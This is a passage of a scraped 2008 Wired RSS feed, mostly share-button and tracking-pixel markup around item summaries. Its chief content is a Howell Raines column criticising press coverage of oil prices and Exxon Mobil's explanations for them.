US Naval War College. His book,</cite> Thinking Beyond the Unthinkable: Harnessing Doom From the Cold War to the Age of Terror<cite>, is due out in August.</cite></p><br style="clear: both;"/> <a style='font-size: 10px; color: maroon;' href='http://www.pheedo.com/hostedMorselClick.php?hfmm=v2:d7dddf1551b27098162c4390025d7326:2QfWwHlXOvLyTocSk9A5OonNqidd6SVor%2FAi2RVlA8P2lk7Gn3s10%2FaTUpjR%2BAHMHHhENFpUGKzsoQZpNf%2F%2FEZ7Kq5BKO%2Bbluk%2F1SlkRm60%3D'><img border='0' title='Add to Facebook' alt='Add to Facebook' src='http://www.pheedo.com/images/mm/facebook.gif'/></a> <a style='font-size: 10px; color: maroon;' href='http://www.pheedo.com/hostedMorselClick.php?hfmm=v2:54014dd94614b42408110b2bbd61ce9e:VnYOJymr%2BVyQmmEsKFGfr%2FGYSYSxKD86G4ra%2FvR4yaiukdSpdpbUMh%2F0lTTzdXqenUU6zemWM0Q66t6vo%2FQfmGA3Iq8n0uYjQnep0LVMO28%3D'><img border='0' title='Add to Reddit' alt='Add to Reddit' src='http://www.pheedo.com/images/mm/reddit.png'/></a> <a style='font-size: 10px; color: maroon;' href='http://www.pheedo.com/hostedMorselClick.php?hfmm=v2:113d92e235bc5498c7a5a9d545590761:nksHCERgED5%2B8f%2BLyTyDAWhT19x3tTs3yG8qOmPUEbqmjnK0Pk8u%2BlStRDrHMVPFJDZqtA7MiVA00Q8TCuQKTx4P7qjM2ysDzupmElquq5c%3D'><img border='0' title='Add to digg' alt='Add to digg' src='http://www.pheedo.com/images/mm/digg.gif'/></a> <a style='font-size: 10px; color: maroon;' href='http://www.pheedo.com/hostedMorselClick.php?hfmm=v2:75bd26c39b0f4defa6dffec1e3cbbd55:%2FYZnewdaIaw%2FFr75gXrA9xprum3LKgs1hGuMkKIfLkp%2FULLJOx2t0FsWvv9H4ZL6Mnb%2FI6Lvj8yp%2BFl2YKIuHnRG%2FrD3J5UCZSp9JfF1Vj0%3D'><img border='0' title='Add to Google' alt='Add to Google' src='http://www.pheedo.com/images/mm/google.png'/></a> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=96e4f1fcc12421a93b226405125a24fb" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=96e4f1fcc12421a93b226405125a24fb" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.wired.com/~a/wired/index?a=2CvLDf"><img src="http://feeds.wired.com/~a/wired/index?i=2CvLDf" border="0"></img></a></p><img src="http://feeds.wired.com/~r/wired/index/~4/342110323" height="1" width="1"/> Tue, 22 Jul 2008 01:00:00 GMT http://www.wired.com/culture/culturereviews/magazine/16-08/st_essay Jonathan Stevenson 2008-07-22T01:00:00Z http://www.wired.com/culture/culturereviews/magazine/16-08/st_essay How to Use URL Patterns and Views in Django http://feeds.wired.com/~r/wired/index/~3/342059335/ The last time Webmonkey looked at Django, we showed you how to install the web framework and set up a simple blog application. Easy enough, but your site didn't do much, and it wasn't very interesting to look at. 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What if you don't care where your stuff comes from as long as you find the right stuff? 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color: maroon;' href='http://www.pheedo.com/hostedMorselClick.php?hfmm=v2:cf746ef3a36423d4c9811c140396426d:1mysOEU5fXRq7PbymsYdx%2Bdi65td%2BADlyV8mmcSht2TqUv2E8SIDH9LyY10GVCm2xd76qVMGalHlocq4z0iytRR%2F0Y8Kjxr%2FPNBDMOpxvxs%3D'><img border='0' title='Add to Google' alt='Add to Google' src='http://www.pheedo.com/images/mm/google.png'/></a> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=a3a1936608947afb118498f0431a09ac" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=a3a1936608947afb118498f0431a09ac" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.wired.com/~a/wired/index?a=V4XuhC"><img src="http://feeds.wired.com/~a/wired/index?i=V4XuhC" border="0"></img></a></p><img src="http://feeds.wired.com/~r/wired/index/~4/341910602" height="1" width="1"/> Mon, 21 Jul 2008 21:00:00 GMT http://www.webmonkey.com/blog/Facebook_Redesign_Mimics_FriendFeed Scott Gilbertson 2008-07-21T21:00:00Z http://www.webmonkey.com/blog/Facebook_Redesign_Mimics_FriendFeed Macs, iPods Carry Apple to Record-Setting Revenues http://feeds.wired.com/~r/wired/index/~3/341985817/apple-reports-q.html Record-setting Mac computer sales, plus robust iPod sales, helped propel Apple to high revenues and earnings in its fiscal third quarter. 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color: maroon;' href='http://www.pheedo.com/hostedMorselClick.php?hfmm=v2:5ba24bb762343d2b6c026bdf87616a04:J0ymyRAAOb4CkW4IWJihpnvZQvPmipfS7da%2BeXYHeLJGPOcCg00IE5DNt3nSxMMIoS4OKaozQTuZM7lSxSY%2Fz1mikV7OM%2FQwErmCKARAyHs%3D'><img border='0' title='Add to Google' alt='Add to Google' src='http://www.pheedo.com/images/mm/google.png'/></a> <br style="clear: both;"/> <a href="http://www.pheedo.com/click.phdo?s=8487daa1c9d18ebdb2475e9365570384"><img alt="" style="border: 0;" border="0" src="http://www.pheedo.com/img.phdo?s=8487daa1c9d18ebdb2475e9365570384"/></a> <img src="http://www.pheedo.com/feeds/tracker.php?i=8487daa1c9d18ebdb2475e9365570384" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.wired.com/~a/wired/index?a=LSmpIS"><img src="http://feeds.wired.com/~a/wired/index?i=LSmpIS" border="0"></img></a></p><img src="http://feeds.wired.com/~r/wired/index/~4/341910603" height="1" width="1"/> Mon, 21 Jul 2008 20:30:00 GMT http://www.webmonkey.com/blog/The_Five_Best_Firebug_Extensions Adam DuVander 2008-07-21T20:30:00Z http://www.webmonkey.com/blog/The_Five_Best_Firebug_Extensions Dear Open ID: You Deserve Better http://feeds.wired.com/~r/wired/index/~3/341891014/Dear_Open_ID%3A_You_Deserve_Better The nascent identity management service OpenID is suffering from half-hearted adoption by web heavyweights Yahoo and Google, and from publishers' unwillingness to move away from traditional, more-restrictive user-registration models.<br style="clear: both;"/> <a style='font-size: 10px; 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color: maroon;' href='http://www.pheedo.com/hostedMorselClick.php?hfmm=v2:e776ddc7c59bc5655b360f0f56032a60:L9pR%2BiHpYZneegoGbhfnnyOjzGAQtP%2BJmULp%2Fc1EDHZML9rgKEDuYg3G2%2BinZlYCVbLN7jY7nor6%2FVK%2BXe6MFKTloDD94qA9Bug5kGvqd1E%3D'><img border='0' title='Add to Google' alt='Add to Google' src='http://www.pheedo.com/images/mm/google.png'/></a> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=5c9aa2b7b06ac367bcf26844effa5b0d" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=5c9aa2b7b06ac367bcf26844effa5b0d" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.wired.com/~a/wired/index?a=PFFEvN"><img src="http://feeds.wired.com/~a/wired/index?i=PFFEvN" border="0"></img></a></p><img src="http://feeds.wired.com/~r/wired/index/~4/341891014" height="1" width="1"/> Mon, 21 Jul 2008 20:30:00 GMT http://www.webmonkey.com/blog/Dear_Open_ID%3A_You_Deserve_Better Adam DuVander 2008-07-21T20:30:00Z http://www.webmonkey.com/blog/Dear_Open_ID%3A_You_Deserve_Better GOP 'Caving' From Trademark Lawsuit Threats http://feeds.wired.com/~r/wired/index/~3/341910604/gop-caving-from.html The Republican National Committee on Monday backed down on its threats to sue CafePress for allowing its online vendors to sell GOP-related merchandise. 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color: maroon;' href='http://www.pheedo.com/hostedMorselClick.php?hfmm=v2:2c62d47987f458ae3afa6e88b28a191a:L5fn6MQvGpm4p%2Bx8SQEunX5CpSBbiCV5lSUTYLBDnfpxM8rCNTZKdp66vcnwkBn9RL%2B9ohfxABDW5%2BY1NzvT7iILMCE3KryIoPnfsyyfVUM%3D'><img border='0' title='Add to digg' alt='Add to digg' src='http://www.pheedo.com/images/mm/digg.gif'/></a> <a style='font-size: 10px; color: maroon;' href='http://www.pheedo.com/hostedMorselClick.php?hfmm=v2:fcb05610ccf285e815197ee4980b5d28:JPGhTLcFwhGxrJJpWYXrRiYZ7olCoDe5IvuLztmoRWyevZzmQ03q8CVwsV7Npa5zrDVtAXrIxmMMLrmHTbCrDHjjU17UfdkR6JqGlcvlEfY%3D'><img border='0' title='Add to Google' alt='Add to Google' src='http://www.pheedo.com/images/mm/google.png'/></a> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=3c4fcc73eedb3ecd39718876a26ac538" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=3c4fcc73eedb3ecd39718876a26ac538" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.wired.com/~a/wired/index?a=azDu3S"><img src="http://feeds.wired.com/~a/wired/index?i=azDu3S" border="0"></img></a></p><img src="http://feeds.wired.com/~r/wired/index/~4/341910604" height="1" width="1"/> Mon, 21 Jul 2008 20:11:00 GMT http://blog.wired.com/27bstroke6/2008/07/gop-caving-from.html David Kravets 2008-07-21T20:11:00Z http://blog.wired.com/27bstroke6/2008/07/gop-caving-from.html Save a Buck (and Stick It to the Airlines) By Shipping Your Lugggage http://feeds.wired.com/~r/wired/index/~3/342078202/dont-check-in-y.html With airlines charging and an arm and a leg to check anything larger than a teabag, you'll probably come out mailing your luggage.<br style="clear: both;"/> <a style='font-size: 10px; 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The DVD market has peaked; there's an onslaught of free, amateur content; and piracy is eating away at revenue. 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color: maroon;' href='http://www.pheedo.com/hostedMorselClick.php?hfmm=v2:5a09115ec8ba830961e4f2d2ad367f70:WUM3F7fkvWoSuDqhuSkOSzYkTJ26sx3M9kFaUA1DzkfPYJWtB0gEhn5zASbMTxg72uiaLUOyCoBNuavba%2FTteDUdmNDs9%2Br1H%2FRpVB4NXRk%3D'><img border='0' title='Add to Google' alt='Add to Google' src='http://www.pheedo.com/images/mm/google.png'/></a> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=c52d30061ac1e86a5537a25233545ad9" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=c52d30061ac1e86a5537a25233545ad9" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.wired.com/~a/wired/index?a=9GPOS0"><img src="http://feeds.wired.com/~a/wired/index?i=9GPOS0" border="0"></img></a></p><img src="http://feeds.wired.com/~r/wired/index/~4/341864334" height="1" width="1"/> Mon, 21 Jul 2008 15:36:18 GMT http://blog.wired.com/wiredscience/2008/07/tongue-drive-sy.html Alexis Madrigal 2008-07-21T15:36:18Z http://blog.wired.com/wiredscience/2008/07/tongue-drive-sy.html Crude Reporting: Ask the Tough Questions About Oil http://feeds.wired.com/~r/wired/index/~3/341723890/portfolio_0721 <!-- PORTFOLIO.COM LINKS --> <div class="content_sharing"> <strong>News from Portfolio.com</strong><br/> <a href="http://www.portfolio.com/?TID=wiredpartner"><img src="http://www.wired.com/images/article/full/2008/03/logo_portfolio.jpg" class="portfolio_img"></a><br clear="all"/> <div class="content_sharing_txt"> <p><strong>Also on Portfolio</strong></p> <!-- LINK #1 --> <p><a href="http://www.portfolio.com/news-markets/top-5/2008/07/21/Roche-Offer-for-Genentech/?TID=wiredpartner"> Buying the Pharma Team</a></p> <!-- LINK #2 --> <p><a href="http://www.portfolio.com/views/blogs/the-tech-observer/2008/07/21/dear-yahoo-so-sorry-about-the-icahn-thing/?TID=wiredpartner"> Dear Yahoo: Sorry About the Icahn Thing</a></p> <!-- LINK #3 --> <p><a href="http://www.portfolio.com/news-markets/top-5/2008/07/18/Financial-Stocks-Rollercoaster/?TID=wiredpartner"> 'Not Bad' Is the New 'Great!'</a></p> </div> <div class="content_sharing_sub"><a href="https://w1.buysub.com/pubs/N3/FOL/self_fol_control_TVL.jsp?cds_page_id=39267&cds_mag_code=FOL&id=1205777661443&lsid=80771311187037701&vid=2&cds_response_key=I8CNAAA9&cds_mag_code=FOL">Subscribe to Portfolio magazine</a></div> </div> <p>The cover of a recent <cite>BusinessWeek</cite> about the runup in oil and gasoline prices framed the question of what's causing it nicely: "Speculation or Manipulation?" But the story was maddeningly evenhanded. By dodging its own question, the magazine raised another.</p> <p>When it comes to the cost of gasoline, who should we believe? Here are some nominees and their viewpoints:</p> <p>1. The oil companies: It's supply and demand at its most basic, just like your professor outlined in your freshman economics course.</p> <p>2. The petro-toadies in Congress: All we have to do is open up the Arctic National Wildlife Refuge and the waters off Florida and California.</p> <p>3. The Department of Energy: OPEC has to pump more, and we've got to allow more refineries by rolling back environmental restrictions.</p> <p>4. King Abdullah: OPEC pumps plenty of crude but "despicable" oil-futures speculators in the West are driving up the prices due to their "selfishness."</p> <p>5. Senator John McCain: Exxon Mobil has done such a good job of demonstrating the magic of the marketplace that it deserves another $1.2 billion in tax breaks.</p> <p>6. Senator Barack Obama: Impose a windfall-profits tax to remind American oil executives that price gouging can backfire politically.</p> <p>7. About 90 percent of the print and TV reporters in America: See No. 1. It really is that ol’ devil supply and demand.</p> <p>8. The White House: Never mind. Nobody’s home.</p> <p>For my money, a sounder answer as to whom to believe is Don Barlett and Jim Steele, the investigative reporting team that has won two Pulitzers and two National Magazine Awards for exposing government theft and corporate greed. Their 2003 series for <cite>Time</cite> magazine on oil economics remains required reading for anyone who wants a better understanding of how gas at $4 to $5 a gallon represents a carefully arranged screwing of consumers.</p> <p>"The bottom line for the oil people is, 'How much can I make while spending the least I can get by with on refineries, synthetic fuels, and for exploration and drilling on the vast, unused acreage in existing oil leases?'" Barlett says. He notes that Canada has become the United States' No. 1 oil supplier by funding joint government- industry exploration of the tar-sand fields of Alberta. "The most chilling statistic is Exxon Mobil's. It spent twice as much last year to buy back stock as it did on exploration."</p> <p>As for shallow journalism that helps Big Oil, Steele makes the point that the newsrooms that were once staffed by the redistributionist children of the New Deal and the A.F.L.-C.I.O. are now populated with the children of Reaganomics: "Younger reporters come out of a mind-set that the market rules, taxes are evil, and government ought to let these people in the oil industry go about their business."</p> <p>As journalism has passed from a hungry to an elite profession, there's no shock value in the fact that Exxon Mobil paid only $5 billion in U.S. income taxes last year while it paid $25 billion to foreign governments. Even with Exxon Mobil making $76,000 a minute, the last thing that occurs to many assignment editors and reporters is to investigate whether a windfall-profits tax would drive Exxon Mobil, BP, and other oil companies to invest in the alternative-energy strategies they boast about in their television commercials.</p> <p>Then there's the problem of letting general-assignment reporters, rather than energy specialists, cover gasoline prices mainly as a story of consumer suffering. About 40 percent of U.S. oil is produced domestically, and Washington has declined to regulate auto fuel as an essential commodity. That's where the vertical integration of a giant like Exxon Mobil creates market leverage. It owns oil fields, processing plants, and retail outlets, creating some monopoly-like advantages in controlling supply and fixing prices in the U.S. market. Then there is the remarkable job that the oil companies have done in persuading network-TV anchors and correspondents to depict them as they want to be seen: powerless victims of a supply-and-demand cycle that is as immutable as gravity and as random as lightning. Congress, responding to demands for tougher laws on oil speculation, would prefer to blame environmental regulations. Much of the context-free reporting about what the executives say, in Congress and on television, is marked by breathtaking gullibility.</p> <p>Speaking of television, no one of any age can doubt that the industry's star performer in the public relations battle over gasoline prices is Rex Tillerson, chairman and C.E.O. of Exxon Mobil. His appearances on the <cite>Today</cite> show have become five-minute promos for price escalation, with Matt Lauer cast as the surrogate for a nation of consumers who don't fully understand their role—helpless and sacrificial—while the company maximizes shareholder value, "our reason for being."</p> <p>This is a "demand-driven price run-up, no question about it," Tillerson drawls, fingers intertwined and as fidget-free as Chance the Gardener. Lauer gamely zeroes in on Exxon Mobil's dirty secret—that it spends only 5.3 percent of revenue on exploration at a time of record revenue. "If you're making $400 billion a year, should consumers expect you to pay or spend even more on exploration?" Lauer asks.</p> <p>The unflappable Tillerson describes this modest expenditure as "very, very robust." He adds, with apparent conviction, "We would do more if we could gain access to more areas." In other words, give us ANWR, then we can talk price at the pump. In fact, no unbiased expert claims that exploiting the fields in the Alaskan wilderness would cause more than a bump in world supply or prices in the U.S.  By the way, Tillerson observes, the industry needs more refineries too.</p> <p>Lauer, charmingly outpointed at every turn, finally blurts, "Mr. Tillerson, you're always nice with your time." <p>"My pleasure, Matt," the oil king rumbles, not a hair out of place on his salt-and-pepper corporate coif.</p> <p>And it was, no doubt, a pleasure for him to slip out of Rockefeller Center, built with Standard Oil dollars accrued in an earlier era of rapacious pricing, without addressing the oil-company claims that are most easily disproved by that old-fashioned journalistic method called reporting. The plain truth is that the record profits cited by Lauer—$10.9 billion in the first quarter of this year for Exxon Mobil—reflect an industrywide decision to flow revenue directly to the bottom line rather than to capital expenditure. To buy Tillerson's story, you'd have to believe that profit is an accident, when it is, irrefutably, the result of a company strategy tailored to this unique moment of opportunity.</p> <p>Oil executives generally believe in an updated version of the peak-oil theory, introduced in 1956 by geologist M. King Hubbert. It posits that because of oil-field depletion and the expense of production, American-oil-industry output will reach a maximum level and then start to decline. An updated version of Hubbert's bell curve—which factors in the number of wells being drilled and refinery capacity—sets the year that the peak will be reached at 2020. If you're getting a prime price for a product that will be harder to acquire in a few years and less valuable due to competition from other fuels, the smart play, obviously, is to divert every penny into profit while the Black Gold Casino is still open. To confuse the press and public, you set up several straw men to take the blame for the supply shortage that you’ve seen coming for a half-century: refinery capacity, environmental legislation, and the imaginary supply potential in undrilled portions of the continental shelf and ANWR.</p> <p>But let's look at the Cheneyesque fantasy that drilling in ANWR is a major national-security priority that would make us less dependent on foreign oil. The fact is, the Trans-Alaska pipeline that is supposed to bring us that new ANWR oil probably couldn't handle it right now because lack of maintenance has left it in bad shape. (Business Journalism 101: You can reinvest revenue in infrastructure or pull the money out as profit.) Plus, there's not enough Alaskan oil to affect price. It would be gone in a few months if we could pump it at maximum capacity. From a national-security standpoint, the smart thing would be to leave it in the ground for use in case of some future civilization-threatening cataclysm.</p> <p>Oil-friendly members of Congress like to blame environmental regulation for the lack of refinery capacity. But the oil companies themselves choked supply by closing more than half of their 300 U.S. refineries in the past 25 years. (Business Journalism 201: You can reinvest in manufacturing capacity or ride the demand curve to higher profits.) Studies by Cambridge Energy Research Associates, a respected, oil-friendly consulting firm, indicate that even if all environmental regulations were removed from refinery construction, few would probably be built right away because of a 75 percent rise in construction costs since 2000, largely driven by the increased fuel cost of transporting building materials.</p> <p>I don't mean to imply that when it comes to cutting through industry and congressional malarkey, Barlett and Steele are the only game in town. The <cite>Chicago Tribune</cite>, the <cite>Wall Street Journal, Texas Monthly</cite>, and other publications have all done credible oil series during the past few years. The problem is that headlines on today's pump prices trump the revelations of yesterday's in-depth reporting. The digital-news era is good at letting us know what happens now. But it's lousy at reminding us of what's happening again. Take the richly symbolic case of ANWR. Oil executives know that they haven't explored 80 percent of their existing leases in the continental U.S., according to Barlett. But they also know that if they can crack the wildlife refuge, Congress will lack the political will to keep them away from the other government land and the ocean floor they covet. In that sense, ANWR fits a historical leitmotif. For more than a century, oil companies have been gaming the federal oil-leasing system to receive bargain prices on the raw materials under public ownership.</p> <p>Oil companies have always depended on the transfer of unpumped oil from public to private ownership. In the Teapot Dome scandal of the early 1920s, oilmen bribed officials at the Interior Department to gain ownership of an oil field owned by the U.S. Navy. With ANWR and the offshore leases, everything will look aboveboard if Congress and consumers can be whipped into a demand-driven frenzy. Oil companies will blame the Arabs and environmentalists for a supply shortage they've maintained as a matter of policy since the days when the Texas Railroad Commission set quotas on how much oil could be pumped out of the ground.</p> <p>Decade after decade, the oil companies claim that they would pump more if only they were allowed to. Barlett calls it playing the short-supply card. "Every freaking reporter out there falls for it," he says. "And if I'm the P.R. guy for an oil company, I’m going to play that sucker for all it’s worth."</p> <p>Supply and demand? Sure, but as John Lee, a business journalist at the <cite>Wall Street Journal</cite> and the <cite>New York Times</cite> for many years, reminds me, supply and demand in oil are not just "two pie charts—where it comes from, where it goes, measured maybe five years ago." There are more complex reasons for pain at the pump. "American gasoline prices have always reflected the latest spot price, namely what you have to pay to buy bulk gasoline on the open market. This is last-in pricing, rather than pricing based on inventory costs."</p> <p>Now, let's say you're an oil company selling bulk gasoline, and suppose your inventory contains some gasoline made from $140-a-barrel oil and some that was purchased for $75 a barrel. That leaves a lot of room for price manipulation. But please, whatever you do, don't think for a minute that's what Tillerson and Exxon Mobil are up to. Just like you and me, they are powerless slaves in the fields of supply and demand. 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color: maroon;' href='http://www.pheedo.com/hostedMorselClick.php?hfmm=v2:9da58a5b2b5e6c7a704154aeec806e47:B%2Bm6AawjhIoyP1NbToweMkPptrSO9i8VyBjjzKVZ6iS29Ns9uqi4xd0JafkOu0GzraOCYtCHk9OFBRfDamaSg%2FT3fNUVpzhN7dXC7vNnBjc%3D'><img border='0' title='Add to Google' alt='Add to Google' src='http://www.pheedo.com/images/mm/google.png'/></a> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=f43598e1ccf339fd17c796b3399cb960" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=f43598e1ccf339fd17c796b3399cb960" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.wired.com/~a/wired/index?a=1fRwRH"><img src="http://feeds.wired.com/~a/wired/index?i=1fRwRH" border="0"></img></a></p><img src="http://feeds.wired.com/~r/wired/index/~4/341723890" height="1" width="1"/> Mon, 21 Jul 2008 15:20:00 GMT http://www.wired.com/techbiz/media/news/2008/07/portfolio_0721 Howell Raines, Portfolio.com 2008-07-21T15:20:00Z http://www.wired.com/techbiz/media/news/2008/07/portfolio_0721 Nintendo's Cammie Dunaway: I'm Not Faking It http://feeds.wired.com/~r/wired/index/~3/341792306/nintendos-cammi.html The gamemaker's new executive vice president swears she's excited about the casual games in the pipeline for Wii and DS.<br style="clear: both;"/> <a style='font-size: 10px; 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color: maroon;' href='http://www.pheedo.com/hostedMorselClick.php?hfmm=v2:06a92b38c973c469a6c841c39120074e:mMlHdXf5lIm3EEDoSHV6nwnlFjjUThg5LwVGpYHCLNX7kqmkvhtwwXwG8ZSiScb3IFTr56Z5n6QsCKpApNop3nOLffTRDUFK0YJFtp%2FkMxw%3D'><img border='0' title='Add to Google' alt='Add to Google' src='http://www.pheedo.com/images/mm/google.png'/></a> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=86849cc0225914bf8007bd4ef628cf8c" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=86849cc0225914bf8007bd4ef628cf8c" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.wired.com/~a/wired/index?a=wC0uh9"><img src="http://feeds.wired.com/~a/wired/index?i=wC0uh9" border="0"></img></a></p><img src="http://feeds.wired.com/~r/wired/index/~4/341792306" height="1" width="1"/> Mon, 21 Jul 2008 15:16:00 GMT http://blog.wired.com/games/2008/07/nintendos-cammi.html Chris Kohler 2008-07-21T15:16:00Z http://blog.wired.com/games/2008/07/nintendos-cammi.html Court Tosses FCC 'Wardrobe Malfunction' Fine http://feeds.wired.com/~r/wired/index/~3/341635786/CBS_JANET_JACKSON A federal appeals court throws out the $550,000 fine levied by the FCC against CBS for that 2004 "Wardrobe Malfunction" by Janet Jackson and Justin Timberlake. The court says in effect that the FCC's decision was entirely arbitrary, and found that it deviated from a 30-year policy concerning the definition of indecency.<br style="clear: both;"/> <a style='font-size: 10px; color: maroon;' href='http://www.pheedo.com/hostedMorselClick.php?hfmm=v2:7341abd973668e89d0a740be94b162d1:72GEuh7qHGAMUIEFGRF4iSsfZoldZ2lF5I4D88ZccgvUSUVY8QbCKlhP6mVNvPMBTKIt4bUhKEfG6DYrP1Um75Jjt3dHjiPwImRzfw5h%2BH8%3D'><img border='0' title='Add to Facebook' alt='Add to Facebook' src='http://www.pheedo.com/images/mm/facebook.gif'/></a> <a style='font-size: 10px; color: maroon;' href='http://www.pheedo.com/hostedMorselClick.php?hfmm=v2:6e7a6751309923add9d20cd9ec89cad7:eRMgNEylA2hjYKpNcHjIOVjgJbi7xXlvbzRqOkVK3ZpyXd95Wz2HS9G4CxpQ0VtrtS5DCvl3z6imtw56ERkvCwpyoSRUGiyaS40WG9WoWDs%3D'><img border='0' title='Add to Reddit' alt='Add to Reddit' src='http://www.pheedo.com/images/mm/reddit.png'/></a> <a style='font-size: 10px; color: maroon;' href='http://www.pheedo.com/hostedMorselClick.php?hfmm=v2:12ee8a80bb2eb9eb31b52aa2c31d8073:5kMFguo39G%2FgrsMRnRkf936wxCUUDFKmM%2F9rk1i4SyoZrVtS7MyyI6C1HGRdJgXRESJxmyIc%2B36Mk5dns9pqVCnQPznVMJkOqBq1rMtU%2BNU%3D'><img border='0' title='Add to digg' alt='Add to digg' src='http://www.pheedo.com/images/mm/digg.gif'/></a> <a style='font-size: 10px; color: maroon;' href='http://www.pheedo.com/hostedMorselClick.php?hfmm=v2:0341370cc2a26d050d9f6aad0036466b:z95lqx1KTLUxdAhK6NZHJgnrnq6EOSq6Ry3%2FWd5yPFIKsEU3E5tkaXPzOkptGc6dCV5NhbvqkC9jnmBGIdXnld2WiJ0o5ZJtwKBZpExjMSs%3D'><img border='0' title='Add to Google' alt='Add to Google' src='http://www.pheedo.com/images/mm/google.png'/></a> <br style="clear: both;"/> <a href="http://www.pheedo.com/click.phdo?s=9d68c869fdbbfa69b0b5ebdd97803440"><img alt="" style="border: 0;" border="0" src="http://www.pheedo.com/img.phdo?s=9d68c869fdbbfa69b0b5ebdd97803440"/></a> <img src="http://www.pheedo.com/feeds/tracker.php?i=9d68c869fdbbfa69b0b5ebdd97803440" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.wired.com/~a/wired/index?a=rGbUU9"><img src="http://feeds.wired.com/~a/wired/index?i=rGbUU9" border="0"></img></a></p><img src="http://feeds.wired.com/~r/wired/index/~4/341635786" height="1" width="1"/> Mon, 21 Jul 2008 14:55:00 GMT http://news.wired.com/dynamic/stories/C/CBS_JANET_JACKSON?SITE=WIRE&SECTION=HOME&TEMPLATE=DEFAULT&CTIME=2008-07-21-10-55-24 Associated Press 2008-07-21T14:55:00Z http://news.wired.com/dynamic/stories/C/CBS_JANET_JACKSON?SITE=WIRE&SECTION=HOME&TEMPLATE=DEFAULT&CTIME=2008-07-21-10-55-24 Yahoo Gives Carl Icahn +2 Invite: Your Table Is Ready http://feeds.wired.com/~r/wired/index/~3/341750870/carl-icahn-gets.html Carl Icahn and two hand-picked candidates are invited to join the Yahoo board, and the corporate raider withdraws his slate of candidates to take it over at the Aug. 1 shareholders meeting. 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William Jennings Bryan, three-time Democratic nominee for president and a paradoxical blend of progressive conservatism, represented both the state and the fundamentalists who opposed Darwin’s theories. </p><p> The trial took eight days in the sweltering Tennessee summer. National newspapers covered it in detail, including dramatic confrontations between Darrow and Bryan both in and out of the courtroom. </p><p> Whether Scopes actually taught evolution to his biology class remains unclear. Although he told the court he had done it and would do it again, he later admitted to a newspaper reporter that while he used a textbook that included a chapter on evolution, he skipped the chapter. </p><p> Darrow expected a guilty verdict and stood ready to appeal the decision to a higher court. The jury did not disappoint him. Scopes was found guilty and fined $100 (about $1,200 in today's money). The Tennessee Supreme Court later upheld the constitutionality of the statute but overturned Scopes’ conviction on a technicality. </p><p> Bryan, meanwhile, died only five days after the conclusion of the Monkey Trial. </p><p> The Butler Act, as the anti-evolution law was known, remained on the books in Tennessee until its repeal by the state legislature in 1967. </p><p> <em>Source: University of Missouri-Kansas City School of Law</em> </p><br style="clear: both;"/> <a style='font-size: 10px; color: maroon;' href='http://www.pheedo.com/hostedMorselClick.php?hfmm=v2:d3818cdef15a13ac5981d3c921dad70d:venEnE6UtNOHSNBoRSQEIgxrT16CPxJMzASOq8JYEIgiv5E5oW8NCahcWgaTbBAleMD5sAZCIKUL0iN0rRCtWCoY0P94YzPdRpVXcuvFpNw%3D'><img border='0' title='Add to Facebook' alt='Add to Facebook' src='http://www.pheedo.com/images/mm/facebook.gif'/></a> <a style='font-size: 10px; color: maroon;' href='http://www.pheedo.com/hostedMorselClick.php?hfmm=v2:b5c82f1a2dbf28b2458e1e3c6aa53b7f:iXLF6fArMsg5Ve%2BB%2B2MnrHZxe84PB%2FMpiJoX2NV96Cbncj4rD1iLSFjK5D5InyOmhnCcoUST%2BtAxj6ELV2DgyRmcRDS3dHt6Z0PORDCVJUo%3D'><img border='0' title='Add to Reddit' alt='Add to Reddit' src='http://www.pheedo.com/images/mm/reddit.png'/></a> <a style='font-size: 10px; color: maroon;' href='http://www.pheedo.com/hostedMorselClick.php?hfmm=v2:8c1f8c145da49c19558c44e4396f4890:ZGmJXSQbKPifWTa0qjeXLWxdt9y2pTy4kp4AyHTADhiAFHEIwSbh5xsx620F%2FBBNvI0n%2Ffy2nbyYBGeOjloyr%2B3tMLn%2FNgj5Ke%2Bgtck2D2I%3D'><img border='0' title='Add to digg' alt='Add to digg' src='http://www.pheedo.com/images/mm/digg.gif'/></a> <a style='font-size: 10px; color: maroon;' href='http://www.pheedo.com/hostedMorselClick.php?hfmm=v2:8a5472ec4aeb1dbd0e366bcd07a09413:Lue4yuzAXiKEkebiJUEhIxnFRIX8Wh%2B%2FdEZLkLcyRPv63a1gioAxsmZWatQlIFNd7hK6I1hdkYuC54nMdrTlXtJ%2Fo0O49FxIcnoDlFpbbdQ%3D'><img border='0' title='Add to Google' alt='Add to Google' src='http://www.pheedo.com/images/mm/google.png'/></a> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=abccb912c9f87249c6cf208cf5be3c84" height="1" width="1"/> <img 